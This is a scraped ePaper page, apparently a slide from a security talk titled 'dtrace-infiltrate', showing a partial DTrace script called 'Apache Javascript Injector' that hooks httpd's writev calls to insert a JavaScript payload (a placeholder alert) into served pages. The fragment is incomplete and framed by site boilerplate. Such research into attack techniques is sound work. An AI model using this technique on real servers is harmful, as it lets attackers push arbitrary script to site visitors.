22.04.2013 Views

dtrace-infiltrate

dtrace-infiltrate

dtrace-infiltrate

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Apache Javascript Injector<br />

syscall::writev:entry<br />

/execname == "httpd" && self->httpmmaplen/<br />

{<br />

self->PAYLOAD = "alert(\"This could be any payload\");<br />

\x0a\x0d\x0a\x0d\x00";<br />

self->newlen = (long *)alloca(sizeof(long));<br />

self->iovp = arg1;<br />

/* read the pointer to the headers buffer into self->iov */<br />

self->iov = (unsigned long *)copyin((user_addr_t)((char *)self-<br />

>iovp),sizeof(unsigned long));<br />

/* read the length from the iov struct into self->len */<br />

self->len = *(unsigned long *)copyin(self->iovp + sizeof(char *),sizeof(char *));<br />

printf("length: %u\n",self->len);

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!